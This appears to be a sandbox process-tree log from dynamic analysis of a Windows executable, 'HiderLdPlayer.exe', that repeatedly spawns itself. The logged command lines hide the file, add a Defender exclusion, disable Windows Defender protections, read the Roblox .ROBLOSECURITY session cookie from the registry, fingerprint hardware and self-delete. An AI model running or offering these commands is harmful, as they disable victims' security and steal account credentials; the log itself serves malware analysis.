        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        154⤵
        
        PID:4356
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        155⤵
        
        PID:6924
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        155⤵
        Views/modifies file attributes
        
        PID:5344
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        155⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6860
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        155⤵
        
        PID:5672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        155⤵
        
        PID:4032
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        155⤵
        
        PID:7032
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        155⤵
        
        PID:4724
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        155⤵
        
        PID:7008
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        155⤵
        
        PID:7164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        155⤵
        
        PID:4896
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        155⤵
        Detects videocard installed
        
        PID:6680
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        155⤵
        
        PID:7008
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        156⤵
        Runs ping.exe
        
        PID:6996
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        153⤵
        
        PID:3360
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        152⤵
        
        PID:6200
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        151⤵
        
        PID:2136
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        150⤵
        
        PID:2684
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        149⤵
        
        PID:6276
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        148⤵
        
        PID:3940
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        147⤵
        
        PID:6700
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        146⤵
        
        PID:1876
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        145⤵
        
        PID:3792
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        144⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        143⤵
        
        PID:6700
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        142⤵
        
        PID:1348
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        141⤵
        
        PID:1060
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        140⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        139⤵
        
        PID:6328
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        138⤵
        
        PID:2568
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        137⤵
        
        PID:6560
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        136⤵
        
        PID:5256
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        135⤵
        
        PID:6740
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        134⤵
        
        PID:3264
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        135⤵
        
        PID:4352
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        135⤵
        Views/modifies file attributes
        
        PID:3036
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        135⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        135⤵
        
        PID:6852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        135⤵
        
        PID:6276
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        135⤵
        
        PID:6340
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        135⤵
        
        PID:4200
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        135⤵
        
        PID:6332
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        135⤵
        
        PID:6840
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        135⤵
        
        PID:4460
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        135⤵
        Detects videocard installed
        
        PID:7164
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        135⤵
        
        PID:2748
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        136⤵
        Runs ping.exe
        
        PID:5300
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        133⤵
        
        PID:6112
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        132⤵
        
        PID:6168
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        131⤵
        
        PID:4636
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        130⤵
        
        PID:6660
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        129⤵
        
        PID:5600
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        128⤵
        
        PID:7164
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        127⤵
        
        PID:6476
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        126⤵
        
        PID:6440
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        125⤵
        
        PID:5900
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        124⤵
        
        PID:5984
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        123⤵
        
        PID:1532
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        122⤵
        
        PID:2748
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        121⤵
        
        PID:6936
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        120⤵
        
        PID:6908
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        119⤵
        
        PID:6340
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        118⤵
        
        PID:6792
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        117⤵
        
        PID:4460
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        116⤵
        
        PID:3188
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        117⤵
        
        PID:6488
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        117⤵
        Views/modifies file attributes
        
        PID:6920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        117⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6500
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        117⤵
        
        PID:6256
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        117⤵
        
        PID:1564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        117⤵
        
        PID:7036
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        117⤵
        
        PID:6256
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        117⤵
        
        PID:5256
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        118⤵
        
        PID:6116
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        117⤵
        
        PID:1876
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        117⤵
        
        PID:5428
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        117⤵
        Detects videocard installed
        
        PID:6832
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        117⤵
        
        PID:6456
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        118⤵
        Runs ping.exe
        
        PID:6908
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        115⤵
        
        PID:2340
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        114⤵
        
        PID:6868
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        113⤵
        
        PID:6560
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        112⤵
        
        PID:7140
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        111⤵
        
        PID:6944
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        110⤵
        
        PID:2012
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        109⤵
        
        PID:6400
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        108⤵
        
        PID:6044
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        107⤵
        
        PID:6492
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        106⤵
        
        PID:6280
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        105⤵
        
        PID:6740
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        104⤵
        
        PID:4984
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        103⤵
        
        PID:1532
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        102⤵
        
        PID:5900
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        101⤵
        
        PID:2340
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        100⤵
        
        PID:6908
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        99⤵
        
        PID:6044
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        98⤵
        
        PID:3604
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        97⤵
        
        PID:5464
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        98⤵
        
        PID:1760
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        98⤵
        Views/modifies file attributes
        
        PID:7160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        98⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        98⤵
        
        PID:5148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        98⤵
        
        PID:4092
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        98⤵
        
        PID:3108
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        98⤵
        
        PID:5324
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        98⤵
        
        PID:6924
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        98⤵
        
        PID:6288
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        98⤵
        
        PID:6880
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        98⤵
        Detects videocard installed
        
        PID:4068
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        98⤵
        
        PID:6572
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        99⤵
        Runs ping.exe
        
        PID:3036
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        96⤵
        
        PID:5124
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        95⤵
        
        PID:7132
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        94⤵
        
        PID:4532
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        93⤵
        
        PID:1348
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        92⤵
        
        PID:4092
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        91⤵
        
        PID:4588
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        90⤵
        
        PID:6804
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        89⤵
        
        PID:6644
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        88⤵
        
        PID:5428
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        87⤵
        
        PID:4540
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        86⤵
        
        PID:6276
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        85⤵
        
        PID:6344
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        84⤵
        
        PID:5344
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        83⤵
        
        PID:6924
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        82⤵
        
        PID:116
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        81⤵
        
        PID:5464
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        80⤵
        
        PID:5140
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        79⤵
        
        PID:6524
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        80⤵
        
        PID:6832
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        80⤵
        Views/modifies file attributes
        
        PID:6284
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        80⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        80⤵
        
        PID:4068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        80⤵
        
        PID:6920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        80⤵
        
        PID:7140
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        80⤵
        
        PID:6928
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        80⤵
        
        PID:3200
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        80⤵
        
        PID:6496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        80⤵
        
        PID:6868
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        80⤵
        Detects videocard installed
        
        PID:1912
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        80⤵
        
        PID:6212
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        81⤵
        Runs ping.exe
        
        PID:1108
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        78⤵
        
        PID:880
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        77⤵
        
        PID:5676
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        76⤵
        
        PID:6584
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        75⤵
        
        PID:7164
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        74⤵
        
        PID:3108
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        73⤵
        
        PID:5600
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        72⤵
        
        PID:6092
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        71⤵
        
        PID:6220
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        70⤵
        
        PID:5176
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        69⤵
        
        PID:6860
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        68⤵
        
        PID:6684
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        67⤵
        
        PID:6288
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        66⤵
        
        PID:6992
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        65⤵
        
        PID:1112
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        64⤵
        
        PID:3384
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        63⤵
        
        PID:4640
        
